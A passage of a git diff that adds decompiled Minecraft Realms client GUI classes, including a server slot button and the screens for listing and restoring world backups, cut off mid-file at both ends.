field_243093_x = new TranslationTextComponent("mco.configure.world.slot.tooltip"); + private final Supplier field_223773_a; + private final Consumer field_223774_b; + private final int field_223776_d; + private int field_223777_e; + @Nullable + private RealmsServerSlotButton.ServerData field_223778_f; + + public RealmsServerSlotButton(int p_i232195_1_, int p_i232195_2_, int p_i232195_3_, int p_i232195_4_, Supplier p_i232195_5_, Consumer p_i232195_6_, int p_i232195_7_, Button.IPressable p_i232195_8_) + { + super(p_i232195_1_, p_i232195_2_, p_i232195_3_, p_i232195_4_, StringTextComponent.EMPTY, p_i232195_8_); + this.field_223773_a = p_i232195_5_; + this.field_223776_d = p_i232195_7_; + this.field_223774_b = p_i232195_6_; + } + + @Nullable + public RealmsServerSlotButton.ServerData func_237717_a_() + { + return this.field_223778_f; + } + + public void tick() + { + ++this.field_223777_e; + RealmsServer realmsserver = this.field_223773_a.get(); + + if (realmsserver != null) + { + RealmsWorldOptions realmsworldoptions = realmsserver.field_230590_i_.get(this.field_223776_d); + boolean flag2 = this.field_223776_d == 4; + boolean flag; + String s; + long i; + String s1; + boolean flag1; + + if (flag2) + { + flag = realmsserver.field_230594_m_ == RealmsServer.ServerType.MINIGAME; + s = "Minigame"; + i = (long)realmsserver.field_230597_p_; + s1 = realmsserver.field_230598_q_; + flag1 = realmsserver.field_230597_p_ == -1; + } + else + { + flag = realmsserver.field_230595_n_ == this.field_223776_d && realmsserver.field_230594_m_ != RealmsServer.ServerType.MINIGAME; + s = realmsworldoptions.func_230787_a_(this.field_223776_d); + i = realmsworldoptions.field_230624_k_; + s1 = realmsworldoptions.field_230625_l_; + flag1 = realmsworldoptions.field_230627_n_; + } + + RealmsServerSlotButton.Action realmsserverslotbutton$action = func_237720_a_(realmsserver, flag, flag2); + Pair pair = this.func_237719_a_(realmsserver, s, flag1, flag2, realmsserverslotbutton$action); + this.field_223778_f = new RealmsServerSlotButton.ServerData(flag, s, i, s1, flag1, flag2, realmsserverslotbutton$action, pair.getFirst()); + this.setMessage(pair.getSecond()); + } + } + + private static RealmsServerSlotButton.Action func_237720_a_(RealmsServer p_237720_0_, boolean p_237720_1_, boolean p_237720_2_) + { + if (p_237720_1_) + { + if (!p_237720_0_.field_230591_j_ && p_237720_0_.field_230586_e_ != RealmsServer.Status.UNINITIALIZED) + { + return RealmsServerSlotButton.Action.JOIN; + } + } + else + { + if (!p_237720_2_) + { + return RealmsServerSlotButton.Action.SWITCH_SLOT; + } + + if (!p_237720_0_.field_230591_j_) + { + return RealmsServerSlotButton.Action.SWITCH_SLOT; + } + } + + return RealmsServerSlotButton.Action.NOTHING; + } + + private Pair func_237719_a_(RealmsServer p_237719_1_, String p_237719_2_, boolean p_237719_3_, boolean p_237719_4_, RealmsServerSlotButton.Action p_237719_5_) + { + if (p_237719_5_ == RealmsServerSlotButton.Action.NOTHING) + { + return Pair.of((ITextComponent)null, new StringTextComponent(p_237719_2_)); + } + else + { + ITextComponent itextcomponent; + + if (p_237719_4_) + { + if (p_237719_3_) + { + itextcomponent = StringTextComponent.EMPTY; + } + else + { + itextcomponent = (new StringTextComponent(" ")).appendString(p_237719_2_).appendString(" ").appendString(p_237719_1_.field_230596_o_); + } + } + else + { + itextcomponent = (new StringTextComponent(" ")).appendString(p_237719_2_); + } + + ITextComponent itextcomponent1; + + if (p_237719_5_ == RealmsServerSlotButton.Action.JOIN) + { + itextcomponent1 = field_243091_v; + } + else + { + itextcomponent1 = p_237719_4_ ? field_243092_w : field_243093_x; + } + + ITextComponent itextcomponent2 = itextcomponent1.deepCopy().append(itextcomponent); + return Pair.of(itextcomponent1, itextcomponent2); + } + } + + public void renderButton(MatrixStack matrixStack, int mouseX, int mouseY, float partialTicks) + { + if (this.field_223778_f != null) + { + this.func_237718_a_(matrixStack, this.x, this.y, mouseX, mouseY, this.field_223778_f.field_225110_a, this.field_223778_f.field_225111_b, this.field_223776_d, this.field_223778_f.field_225112_c, this.field_223778_f.field_225113_d, this.field_223778_f.field_225114_e, this.field_223778_f.field_225115_f, this.field_223778_f.field_225116_g, this.field_223778_f.field_225117_h); + } + } + + private void func_237718_a_(MatrixStack p_237718_1_, int p_237718_2_, int p_237718_3_, int p_237718_4_, int p_237718_5_, boolean p_237718_6_, String p_237718_7_, int p_237718_8_, long p_237718_9_, @Nullable String p_237718_11_, boolean p_237718_12_, boolean p_237718_13_, RealmsServerSlotButton.Action p_237718_14_, @Nullable ITextComponent p_237718_15_) + { + boolean flag = this.isHovered(); + + if (this.isMouseOver((double)p_237718_4_, (double)p_237718_5_) && p_237718_15_ != null) + { + this.field_223774_b.accept(p_237718_15_); + } + + Minecraft minecraft = Minecraft.getInstance(); + TextureManager texturemanager = minecraft.getTextureManager(); + + if (p_237718_13_) + { + RealmsTextureManager.func_225202_a(String.valueOf(p_237718_9_), p_237718_11_); + } + else if (p_237718_12_) + { + texturemanager.bindTexture(field_237713_b_); + } + else if (p_237718_11_ != null && p_237718_9_ != -1L) + { + RealmsTextureManager.func_225202_a(String.valueOf(p_237718_9_), p_237718_11_); + } + else if (p_237718_8_ == 1) + { + texturemanager.bindTexture(field_237714_c_); + } + else if (p_237718_8_ == 2) + { + texturemanager.bindTexture(field_237715_d_); + } + else if (p_237718_8_ == 3) + { + texturemanager.bindTexture(field_237716_e_); + } + + if (p_237718_6_) + { + float f = 0.85F + 0.15F * MathHelper.cos((float)this.field_223777_e * 0.2F); + RenderSystem.color4f(f, f, f, 1.0F); + } + else + { + RenderSystem.color4f(0.56F, 0.56F, 0.56F, 1.0F); + } + + blit(p_237718_1_, p_237718_2_ + 3, p_237718_3_ + 3, 0.0F, 0.0F, 74, 74, 74, 74); + texturemanager.bindTexture(field_237712_a_); + boolean flag1 = flag && p_237718_14_ != RealmsServerSlotButton.Action.NOTHING; + + if (flag1) + { + RenderSystem.color4f(1.0F, 1.0F, 1.0F, 1.0F); + } + else if (p_237718_6_) + { + RenderSystem.color4f(0.8F, 0.8F, 0.8F, 1.0F); + } + else + { + RenderSystem.color4f(0.56F, 0.56F, 0.56F, 1.0F); + } + + blit(p_237718_1_, p_237718_2_, p_237718_3_, 0.0F, 0.0F, 80, 80, 80, 80); + drawCenteredString(p_237718_1_, minecraft.fontRenderer, p_237718_7_, p_237718_2_ + 40, p_237718_3_ + 66, 16777215); + } + + public static enum Action + { + NOTHING, + SWITCH_SLOT, + JOIN; + } + + public static class ServerData + { + private final boolean field_225110_a; + private final String field_225111_b; + private final long field_225112_c; + private final String field_225113_d; + public final boolean field_225114_e; + public final boolean field_225115_f; + public final RealmsServerSlotButton.Action field_225116_g; + @Nullable + private final ITextComponent field_225117_h; + + ServerData(boolean p_i232196_1_, String p_i232196_2_, long p_i232196_3_, @Nullable String p_i232196_5_, boolean p_i232196_6_, boolean p_i232196_7_, RealmsServerSlotButton.Action p_i232196_8_, @Nullable ITextComponent p_i232196_9_) + { + this.field_225110_a = p_i232196_1_; + this.field_225111_b = p_i232196_2_; + this.field_225112_c = p_i232196_3_; + this.field_225113_d = p_i232196_5_; + this.field_225114_e = p_i232196_6_; + this.field_225115_f = p_i232196_7_; + this.field_225116_g = p_i232196_8_; + this.field_225117_h = p_i232196_9_; + } + } +} diff --git a/src/com/mojang/realmsclient/gui/package-info.java b/src/com/mojang/realmsclient/gui/package-info.java new file mode 100644 index 00000000..99ec5c98 --- /dev/null +++ b/src/com/mojang/realmsclient/gui/package-info.java @@ -0,0 +1,6 @@ +@ParametersAreNonnullByDefault +@MethodsReturnNonnullByDefault +package com.mojang.realmsclient.gui; + +import mcp.MethodsReturnNonnullByDefault; +import javax.annotation.ParametersAreNonnullByDefault; \ No newline at end of file diff --git a/src/com/mojang/realmsclient/gui/screens/NotifableRealmsScreen.java b/src/com/mojang/realmsclient/gui/screens/NotifableRealmsScreen.java new file mode 100644 index 00000000..a8217d57 --- /dev/null +++ b/src/com/mojang/realmsclient/gui/screens/NotifableRealmsScreen.java @@ -0,0 +1,10 @@ +package com.mojang.realmsclient.gui.screens; + +import com.mojang.realmsclient.dto.WorldTemplate; +import javax.annotation.Nullable; +import net.minecraft.realms.RealmsScreen; + +public abstract class NotifableRealmsScreen extends RealmsScreen +{ + protected abstract void func_223627_a_(@Nullable WorldTemplate p_223627_1_); +} diff --git a/src/com/mojang/realmsclient/gui/screens/RealmsBackupInfoScreen.java b/src/com/mojang/realmsclient/gui/screens/RealmsBackupInfoScreen.java new file mode 100644 index 00000000..bb84b152 --- /dev/null +++ b/src/com/mojang/realmsclient/gui/screens/RealmsBackupInfoScreen.java @@ -0,0 +1,144 @@ +package com.mojang.realmsclient.gui.screens; + +import com.mojang.blaze3d.matrix.MatrixStack; +import com.mojang.realmsclient.dto.Backup; +import java.util.Locale; +import net.minecraft.client.Minecraft; +import net.minecraft.client.gui.AbstractGui; +import net.minecraft.client.gui.DialogTexts; +import net.minecraft.client.gui.FontRenderer; +import net.minecraft.client.gui.screen.Screen; +import net.minecraft.client.gui.widget.button.Button; +import net.minecraft.client.gui.widget.list.ExtendedList; +import net.minecraft.realms.RealmsScreen; +import net.minecraft.util.text.ITextComponent; +import net.minecraft.util.text.StringTextComponent; + +public class RealmsBackupInfoScreen extends RealmsScreen +{ + private final Screen field_224047_c; + private final Backup field_224049_e; + private RealmsBackupInfoScreen.BackupInfoList field_224051_g; + + public RealmsBackupInfoScreen(Screen p_i232197_1_, Backup p_i232197_2_) + { + this.field_224047_c = p_i232197_1_; + this.field_224049_e = p_i232197_2_; + } + + public void tick() + { + } + + public void init() + { + this.minecraft.keyboardListener.enableRepeatEvents(true); + this.addButton(new Button(this.width / 2 - 100, this.height / 4 + 120 + 24, 200, 20, DialogTexts.GUI_BACK, (p_237731_1_) -> + { + this.minecraft.displayGuiScreen(this.field_224047_c); + })); + this.field_224051_g = new RealmsBackupInfoScreen.BackupInfoList(this.minecraft); + this.addListener(this.field_224051_g); + this.setListenerDefault(this.field_224051_g); + } + + public void onClose() + { + this.minecraft.keyboardListener.enableRepeatEvents(false); + } + + public boolean keyPressed(int keyCode, int scanCode, int modifiers) + { + if (keyCode == 256) + { + this.minecraft.displayGuiScreen(this.field_224047_c); + return true; + } + else + { + return super.keyPressed(keyCode, scanCode, modifiers); + } + } + + public void render(MatrixStack matrixStack, int mouseX, int mouseY, float partialTicks) + { + this.renderBackground(matrixStack); + drawCenteredString(matrixStack, this.font, "Changes from last backup", this.width / 2, 10, 16777215); + this.field_224051_g.render(matrixStack, mouseX, mouseY, partialTicks); + super.render(matrixStack, mouseX, mouseY, partialTicks); + } + + private ITextComponent func_237733_a_(String p_237733_1_, String p_237733_2_) + { + String s = p_237733_1_.toLowerCase(Locale.ROOT); + + if (s.contains("game") && s.contains("mode")) + { + return this.func_237735_b_(p_237733_2_); + } + else + { + return (ITextComponent)(s.contains("game") && s.contains("difficulty") ? this.func_237732_a_(p_237733_2_) : new StringTextComponent(p_237733_2_)); + } + } + + private ITextComponent func_237732_a_(String p_237732_1_) + { + try + { + return RealmsSlotOptionsScreen.field_238035_a_[Integer.parseInt(p_237732_1_)]; + } + catch (Exception exception) + { + return new StringTextComponent("UNKNOWN"); + } + } + + private ITextComponent func_237735_b_(String p_237735_1_) + { + try + { + return RealmsSlotOptionsScreen.field_238036_b_[Integer.parseInt(p_237735_1_)]; + } + catch (Exception exception) + { + return new StringTextComponent("UNKNOWN"); + } + } + + class BackupInfoEntry extends ExtendedList.AbstractListEntry + { + private final String field_237738_b_; + private final String field_237739_c_; + + public BackupInfoEntry(String p_i232199_2_, String p_i232199_3_) + { + this.field_237738_b_ = p_i232199_2_; + this.field_237739_c_ = p_i232199_3_; + } + + public void render(MatrixStack p_230432_1_, int p_230432_2_, int p_230432_3_, int p_230432_4_, int p_230432_5_, int p_230432_6_, int p_230432_7_, int p_230432_8_, boolean p_230432_9_, float p_230432_10_) + { + FontRenderer fontrenderer = RealmsBackupInfoScreen.this.minecraft.fontRenderer; + AbstractGui.drawString(p_230432_1_, fontrenderer, this.field_237738_b_, p_230432_4_, p_230432_3_, 10526880); + AbstractGui.drawString(p_230432_1_, fontrenderer, RealmsBackupInfoScreen.this.func_237733_a_(this.field_237738_b_, this.field_237739_c_), p_230432_4_, p_230432_3_ + 12, 16777215); + } + } + + class BackupInfoList extends ExtendedList + { + public BackupInfoList(Minecraft p_i232198_2_) + { + super(p_i232198_2_, RealmsBackupInfoScreen.this.width, RealmsBackupInfoScreen.this.height, 32, RealmsBackupInfoScreen.this.height - 64, 36); + this.setRenderSelection(false); + + if (RealmsBackupInfoScreen.this.field_224049_e.field_230557_e_ != null) + { + RealmsBackupInfoScreen.this.field_224049_e.field_230557_e_.forEach((p_237736_1_, p_237736_2_) -> + { + this.addEntry(RealmsBackupInfoScreen.this.new BackupInfoEntry(p_237736_1_, p_237736_2_)); + }); + } + } + } +} diff --git a/src/com/mojang/realmsclient/gui/screens/RealmsBackupScreen.java b/src/com/mojang/realmsclient/gui/screens/RealmsBackupScreen.java new file mode 100644 index 00000000..8a4baf8a --- /dev/null +++ b/src/com/mojang/realmsclient/gui/screens/RealmsBackupScreen.java @@ -0,0 +1,486 @@ +package com.mojang.realmsclient.gui.screens; + +import com.mojang.blaze3d.matrix.MatrixStack; +import com.mojang.blaze3d.systems.RenderSystem; +import com.mojang.realmsclient.client.RealmsClient; +import com.mojang.realmsclient.dto.Backup; +import com.mojang.realmsclient.dto.RealmsServer; +import com.mojang.realmsclient.exception.RealmsServiceException; +import com.mojang.realmsclient.util.RealmsUtil; +import java.text.DateFormat; +import java.util.Collections; +import java.util.Date; +import java.util.List; +import javax.annotation.Nullable; +import net.minecraft.client.gui.AbstractGui; +import net.minecraft.client.gui.DialogTexts; +import net.minecraft.client.gui.widget.button.Button; +import net.minecraft.client.gui.widget.list.ExtendedList; +import net.minecraft.client.resources.I18n; +import net.minecraft.realms.RealmsLabel; +import net.minecraft.realms.RealmsNarratorHelper; +import net.minecraft.realms.RealmsObjectSelectionList; +import net.minecraft.realms.RealmsScreen; +import net.minecraft.realms.action.PrepareDownloadRealmsAction; +import net.minecraft.realms.action.RestoringBackupRealmsAction; +import net.minecraft.util.ResourceLocation; +import net.minecraft.util.text.ITextComponent; +import net.minecraft.util.text.TranslationTextComponent; +import org.apache.logging.log4j.LogManager; +import org.apache.logging.log4j.Logger; + +public class RealmsBackupScreen extends RealmsScreen +{ + private static final Logger field_224114_a = LogManager.getLogger(); + private static final ResourceLocation field_237740_b_ = new ResourceLocation("realms", "textures/gui/realms/plus_icon.png"); + private static final ResourceLocation field_237741_c_ = new ResourceLocation("realms", "textures/gui/realms/restore_icon.png"); + private static final ITextComponent field_243094_p = new TranslationTextComponent("mco.backup.button.restore"); + private static final ITextComponent field_243095_q = new TranslationTextComponent("mco.backup.changes.tooltip"); + private static final ITextComponent field_243096_r = new TranslationTextComponent("mco.configure.world.backup"); + private static final ITextComponent field_243097_s = new TranslationTextComponent("mco.backup.nobackups"); + private static int field_224115_b = -1; + private final RealmsConfigureWorldScreen field_224116_c; + private List field_224117_d = Collections.emptyList(); + @Nullable + private ITextComponent field_224118_e; + private RealmsBackupScreen.BackupObjectSelectionList field_224119_f; + private int field_224120_g = -1; + private final int field_224121_h; + private Button field_224122_i; + private Button field_224123_j; + private Button field_224124_k; + private Boolean field_224125_l = false; + private final RealmsServer field_224126_m; + private RealmsLabel field_224127_n; + + public RealmsBackupScreen(RealmsConfigureWorldScreen p_i51777_1_, RealmsServer p_i51777_2_, int p_i51777_3_) + { + this.field_224116_c = p_i51777_1_; + this.field_224126_m = p_i51777_2_; + this.field_224121_h = p_i51777_3_; + } + + public void init() + { + this.minecraft.keyboardListener.enableRepeatEvents(true); + this.field_224119_f = new RealmsBackupScreen.BackupObjectSelectionList(); + + if (field_224115_b != -1) + { + this.field_224119_f.setScrollAmount((double)field_224115_b); + } + + (new Thread("Realms-fetch-backups") + { + public void run() + { + RealmsClient realmsclient = RealmsClient.func_224911_a(); + + try + { + List list = realmsclient.func_224923_d(RealmsBackupScreen.this.field_224126_m.field_230582_a_).field_230560_a_; + RealmsBackupScreen.this.minecraft.execute(() -> + { + RealmsBackupScreen.this.field_224117_d = list; + RealmsBackupScreen.this.field_224125_l = RealmsBackupScreen.this.field_224117_d.isEmpty(); + RealmsBackupScreen.this.field_224119_f.func_231409_q_(); + + for (Backup backup : RealmsBackupScreen.this.field_224117_d) + { + RealmsBackupScreen.this.field_224119_f.func_223867_a(backup); + } + + RealmsBackupScreen.this.func_224112_b(); + }); + } + catch (RealmsServiceException realmsserviceexception) + { + RealmsBackupScreen.field_224114_a.error("Couldn't request backups", (Throwable)realmsserviceexception); + } + } + }).start(); + this.field_224122_i = this.addButton(new Button(this.width - 135, func_239562_k_(1), 120, 20, new TranslationTextComponent("mco.backup.button.download"), (p_237758_1_) -> + { + this.func_224088_g(); + })); + this.field_224123_j = this.addButton(new Button(this.width - 135, func_239562_k_(3), 120, 20, new TranslationTextComponent("mco.backup.button.restore"), (p_237754_1_) -> + { + this.func_224104_b(this.field_224120_g); + })); + this.field_224124_k = this.addButton(new Button(this.width - 135, func_239562_k_(5), 120, 20, new TranslationTextComponent("mco.backup.changes.tooltip"), (p_237752_1_) -> + { + this.minecraft.displayGuiScreen(new RealmsBackupInfoScreen(this, this.field_224117_d.get(this.field_224120_g))); + this.field_224120_g = -1; + })); + this.addButton(new Button(this.width - 100, this.height - 35, 85, 20, DialogTexts.GUI_BACK, (p_237748_1_) -> + { + this.minecraft.displayGuiScreen(this.field_224116_c); + })); + this.addListener(this.field_224119_f); + this.field_224127_n = this.addListener(new RealmsLabel(new TranslationTextComponent("mco.configure.world.backup"), this.width / 2, 12, 16777215)); + this.setListenerDefault(this.field_224119_f); + this.func_224113_d(); + this.func_231411_u_(); + } + + private void func_224112_b() + { + if (this.field_224117_d.size() > 1) + { + for (int i = 0; i < this.field_224117_d.size() - 1; ++i) + { + Backup backup = this.field_224117_d.get(i); + Backup backup1 = this.field_224117_d.get(i + 1); + + if (!backup.field_230556_d_.isEmpty() && !backup1.field_230556_d_.isEmpty()) + { + for (String s : backup.field_230556_d_.keySet()) + { + if (!s.contains("Uploaded") && backup1.field_230556_d_.containsKey(s)) + { + if (!backup.field_230556_d_.get(s).equals(backup1.field_230556_d_.get(s))) + { + this.func_224103_a(backup, s); + } + } + else + { + this.func_224103_a(backup, s); + } + } + } + } + } + } + + private void func_224103_a(Backup p_224103_1_, String p_224103_2_) + { + if (p_224103_2_.contains("Uploaded")) + { + String s = DateFormat.getDateTimeInstance(3, 3).format(p_224103_1_.field_230554_b_); + p_224103_1_.field_230557_e_.put(p_224103_2_, s); + p_224103_1_.func_230752_a_(true); + } + else + { + p_224103_1_.field_230557_e_.put(p_224103_2_, p_224103_1_.field_230556_d_.get(p_224103_2_)); + } + } + + private void func_224113_d() + { + this.field_224123_j.visible = this.func_224111_f(); + this.field_224124_k.visible = this.func_224096_e(); + } + + private boolean func_224096_e() + { + if (this.field_224120_g == -1) + { + return false; + } + else + { + return !(this.field_224117_d.get(this.field_224120_g)).field_230557_e_.isEmpty(); + } + } + + private boolean func_224111_f() + { + if (this.field_224120_g == -1) + { + return false; + } + else + { + return !this.field_224126_m.field_230591_j_; + } + } + + public boolean keyPressed(int keyCode, int scanCode, int modifiers) + { + if (keyCode == 256) + { + this.minecraft.displayGuiScreen(this.field_224116_c); + return true; + } + else + { + return super.keyPressed(keyCode, scanCode, modifiers); + } + } + + private void func_224104_b(int p_224104_1_) + { + if (p_224104_1_ >= 0 && p_224104_1_ < this.field_224117_d.size() && !this.field_224126_m.field_230591_j_) + { + this.field_224120_g = p_224104_1_; + Date date = (this.field_224117_d.get(p_224104_1_)).field_230554_b_; + String s = DateFormat.getDateTimeInstance(3, 3).format(date); + String s1 = RealmsUtil.func_238105_a_(date); + ITextComponent itextcomponent = new TranslationTextComponent("mco.configure.world.restore.question.line1", s, s1); + ITextComponent itextcomponent1 = new TranslationTextComponent("mco.configure.world.restore.question.line2"); + this.minecraft.displayGuiScreen(new RealmsLongConfirmationScreen((p_237759_1_) -> + { + if (p_237759_1_) + { + this.func_224097_i(); + } + else { + this.field_224120_g = -1; + this.minecraft.displayGuiScreen(this); + } + }, RealmsLongConfirmationScreen.Type.Warning, itextcomponent, itextcomponent1, true)); + } + } + + private void func_224088_g() + { + ITextComponent itextcomponent = new TranslationTextComponent("mco.configure.world.restore.download.question.line1"); + ITextComponent itextcomponent1 = new TranslationTextComponent("mco.configure.world.restore.download.question.line2"); + this.minecraft.displayGuiScreen(new RealmsLongConfirmationScreen((p_237755_1_) -> + { + if (p_237755_1_) + { + this.func_224100_h(); + } + else { + this.minecraft.displayGuiScreen(this); + } + }, RealmsLongConfirmationScreen.Type.Info, itextcomponent, itextcomponent1, true)); + } + + private void func_224100_h() + { + this.minecraft.displayGuiScreen(new RealmsLongRunningMcoTaskScreen(this.field_224116_c.func_224407_b(), new PrepareDownloadRealmsAction(this.field_224126_m.field_230582_a_, this.field_224121_h, this.field_224126_m.field_230584_c_ + " (" + this.field_224126_m.field_230590_i_.get(this.field_224126_m.field_230595_n_).func_230787_a_(this.field_224126_m.field_230595_n_) + ")", this))); + } + + private void func_224097_i() + { + Backup backup = this.field_224117_d.get(this.field_224120_g); + this.field_224120_g = -1; + this.minecraft.displayGuiScreen(new RealmsLongRunningMcoTaskScreen(this.field_224116_c.func_224407_b(), new RestoringBackupRealmsAction(backup, this.field_224126_m.field_230582_a_, this.field_224116_c))); + } + + public void render(MatrixStack matrixStack, int mouseX, int mouseY, float partialTicks) + { + this.field_224118_e = null; + this.renderBackground(matrixStack); + this.field_224119_f.render(matrixStack, mouseX, mouseY, partialTicks); + this.field_224127_n.func_239560_a_(this, matrixStack); + this.font.func_243248_b(matrixStack, field_243096_r, (float)((this.width - 150) / 2 - 90), 20.0F, 10526880); + + if (this.field_224125_l) + { + this.font.func_243248_b(matrixStack, field_243097_s, 20.0F, (float)(this.height / 2 - 10), 16777215); + } + + this.field_224122_i.active = !this.field_224125_l; + super.render(matrixStack, mouseX, mouseY, partialTicks); + + if (this.field_224118_e != null) + { + this.func_237744_a_(matrixStack, this.field_224118_e, mouseX, mouseY); + } + } + + protected void func_237744_a_(MatrixStack p_237744_1_, @Nullable ITextComponent p_237744_2_, int p_237744_3_, int p_237744_4_) + { + if (p_237744_2_ != null) + { + int i = p_237744_3_ + 12; + int j = p_237744_4_ - 12; + int k = this.font.getStringPropertyWidth(p_237744_2_); + this.fillGradient(p_237744_1_, i - 3, j - 3, i + k + 3, j + 8 + 3, -1073741824, -1073741824); + this.font.func_243246_a(p_237744_1_, p_237744_2_, (float)i, (float)j, 16777215); + } + } + + class BackupObjectSelectionList extends RealmsObjectSelectionList + { + public BackupObjectSelectionList() + { + super(RealmsBackupScreen.this.width - 150, RealmsBackupScreen.this.height, 32, RealmsBackupScreen.this.height - 15, 36); + } + + public void func_223867_a(Backup p_223867_1_) + { + this.addEntry(RealmsBackupScreen.this.new BackupObjectSelectionListEntry(p_223867_1_)); + } + + public int getRowWidth() + { + return (int)((double)this.width * 0.93D); + } + + public boolean isFocused() + { + return RealmsBackupScreen.this.getListener() == this; + } + + public int getMaxPosition() + { + return this.getItemCount() * 36; + } + + public void renderBackground(MatrixStack p_230433_1_) + { + RealmsBackupScreen.this.renderBackground(p_230433_1_); + } + + public boolean mouseClicked(double mouseX, double mouseY, int button) + { + if (button != 0) + { + return false; + } + else if (mouseX < (double)this.getScrollbarPosition() && mouseY >= (double)this.y0 && mouseY <= (double)this.y1) + { + int i = this.width / 2 - 92; + int j = this.width; + int k = (int)Math.floor(mouseY - (double)this.y0) - this.headerHeight + (int)this.getScrollAmount(); + int l = k / this.itemHeight; + + if (mouseX >= (double)i && mouseX <= (double)j && l >= 0 && k >= 0 && l < this.getItemCount()) + { + this.func_231400_a_(l); + this.func_231401_a_(k, l, mouseX, mouseY, this.width); + } + + return true; + } + else + { + return false; + } + } + + public int getScrollbarPosition() + { + return this.width - 5; + } + + public void func_231401_a_(int p_231401_1_, int p_231401_2_, double p_231401_3_, double p_231401_5_, int p_231401_7_) + { + int i = this.width - 35; + int j = p_231401_2_ * this.itemHeight + 36 - (int)this.getScrollAmount(); + int k = i + 10; + int l = j - 3; + + if (p_231401_3_ >= (double)i && p_231401_3_ <= (double)(i + 9) && p_231401_5_ >= (double)j && p_231401_5_ <= (double)(j + 9)) + { + if (!(RealmsBackupScreen.this.field_224117_d.get(p_231401_2_)).field_230557_e_.isEmpty()) + { + RealmsBackupScreen.this.field_224120_g = -1; + RealmsBackupScreen.field_224115_b = (int)this.getScrollAmount(); + this.minecraft.displayGuiScreen(new RealmsBackupInfoScreen(RealmsBackupScreen.this, RealmsBackupScreen.this.field_224117_d.get(p_231401_2_))); + } + } + else if (p_231401_3_ >= (double)k && p_231401_3_ < (double)(k + 13) && p_231401_5_ >= (double)l && p_231401_5_ < (double)(l + 15)) + { + RealmsBackupScreen.field_224115_b = (int)this.getScrollAmount(); + RealmsBackupScreen.this.func_224104_b(p_231401_2_); + } + } + + public void func_231400_a_(int p_231400_1_) + { + this.func_239561_k_(p_231400_1_); + + if (p_231400_1_ != -1) + { + RealmsNarratorHelper.func_239550_a_(I18n.format("narrator.select", (RealmsBackupScreen.this.field_224117_d.get(p_231400_1_)).field_230554_b_.toString())); + } + + this.func_223866_a(p_231400_1_); + } + + public void func_223866_a(int p_223866_1_) + { + RealmsBackupScreen.this.field_224120_g = p_223866_1_; + RealmsBackupScreen.this.func_224113_d(); + } + + public void setSelected(@Nullable RealmsBackupScreen.BackupObjectSelectionListEntry entry) + { + super.setSelected(entry); + RealmsBackupScreen.this.field_224120_g = this.getEventListeners().indexOf(entry); + RealmsBackupScreen.this.func_224113_d(); + } + } + + class BackupObjectSelectionListEntry extends ExtendedList.AbstractListEntry + { + private final Backup field_237765_b_; + + public BackupObjectSelectionListEntry(Backup p_i51657_2_) + { + this.field_237765_b_ = p_i51657_2_; + } + + public void render(MatrixStack p_230432_1_, int p_230432_2_, int p_230432_3_, int p_230432_4_, int p_230432_5_, int p_230432_6_, int p_230432_7_, int p_230432_8_, boolean p_230432_9_, float p_230432_10_) + { + this.func_237767_a_(p_230432_1_, this.field_237765_b_, p_230432_4_ - 40, p_230432_3_, p_230432_7_, p_230432_8_); + } + + private void func_237767_a_(MatrixStack p_237767_1_, Backup p_237767_2_, int p_237767_3_, int p_237767_4_, int p_237767_5_, int p_237767_6_) + { + int i = p_237767_2_.func_230749_a_() ? -8388737 : 16777215; + RealmsBackupScreen.this.font.drawString(p_237767_1_, "Backup (" + RealmsUtil.func_238105_a_(p_237767_2_.field_230554_b_) + ")", (float)(p_237767_3_ + 40), (float)(p_237767_4_ + 1), i); + RealmsBackupScreen.this.font.drawString(p_237767_1_, this.func_223738_a(p_237767_2_.field_230554_b_), (float)(p_237767_3_ + 40), (float)(p_237767_4_ + 12), 5000268); + int j = RealmsBackupScreen.this.width - 175; + int k = -3; + int l = j - 10; + int i1 = 0; + + if (!RealmsBackupScreen.this.field_224126_m.field_230591_j_) + { + this.func_237766_a_(p_237767_1_, j, p_237767_4_ + -3, p_237767_5_, p_237767_6_); + } + + if (!p_237767_2_.field_230557_e_.isEmpty()) + { + this.func_237768_b_(p_237767_1_, l, p_237767_4_ + 0, p_237767_5_, p_237767_6_); + } + } + + private String func_223738_a(Date p_223738_1_) + { + return DateFormat.getDateTimeInstance(3, 3).format(p_223738_1_); + } + + private void func_237766_a_(MatrixStack p_237766_1_, int p_237766_2_, int p_237766_3_, int p_237766_4_, int p_237766_5_) + { + boolean flag = p_237766_4_ >= p_237766_2_ && p_237766_4_ <= p_237766_2_ + 12 && p_237766_5_ >= p_237766_3_ && p_237766_5_ <= p_237766_3_ + 14 && p_237766_5_ < RealmsBackupScreen.this.height - 15 && p_237766_5_ > 32; + RealmsBackupScreen.this.minecraft.getTextureManager().bindTexture(RealmsBackupScreen.field_237741_c_); + RenderSystem.color4f(1.0F, 1.0F, 1.0F, 1.0F); + RenderSystem.pushMatrix(); + RenderSystem.scalef(0.5F, 0.5F, 0.5F); + float f = flag ? 28.0F : 0.0F; + AbstractGui.blit(p_237766_1_, p_237766_2_ * 2, p_237766_3_ * 2, 0.0F, f, 23, 28, 23, 56); + RenderSystem.popMatrix(); + + if (flag) + { + RealmsBackupScreen.this.field_224118_e = RealmsBackupScreen.field_243094_p; + } + } + + private void func_237768_b_(MatrixStack p_237768_1_, int p_237768_2_, int p_237768_3_, int p_237768_4_, int p_237768_5_) + { + boolean flag = p_237768_4_ >= p_237768_2_ && p_237768_4_ <= p_237768_2_ + 8 && p_237768_5_ >= p_237768_3_ && p_237768_5_ <= p_237768_3_ + 8 && p_237768_5_ < RealmsBackupScreen.this.height - 15 && p_237768_5_ > 32; + RealmsBackupScreen.this.minecraft.getTextureManager().bindTexture(RealmsBackupScreen.field_237740_b_); + RenderSystem.color4f(1.0F, 1.0F, 1.0F, 1.0F); + RenderSystem.pushMatrix(); + RenderSystem.scalef(0.5F, 0.5F, 0.5F); + float f = flag ? 15.0F : 0.0F; + AbstractGui.blit(p_237768_1_, p_237768_2_ * 2, p_237768_3_ * 2, 0.0F, f, 15, 15, 15, 30); + RenderSystem.popMatrix(); + + if (flag) + { + RealmsBackupScreen.this.field_224118_e = RealmsBackupScreen.field_243095_q; + } + } + } +} diff --git a/src/com/mojang/realmsclient/gui/screens/RealmsBrokenWorldScreen.java b/src/com/mojang/realmsclient/gui/screens/RealmsBrokenWorldScreen.java new file mode 100644 index 00000000..e7ab0abc --- /dev/null +++ b/src/com/mojang/realmsclient/gui/screens/RealmsBrokenWorldScreen.java @@ -0,0 +1,338 @@ +package com.mojang.realmsclient.gui.screens; + +import com.google.common.collect.Lists; +import com.mojang.blaze3d.matrix.MatrixStack; +import 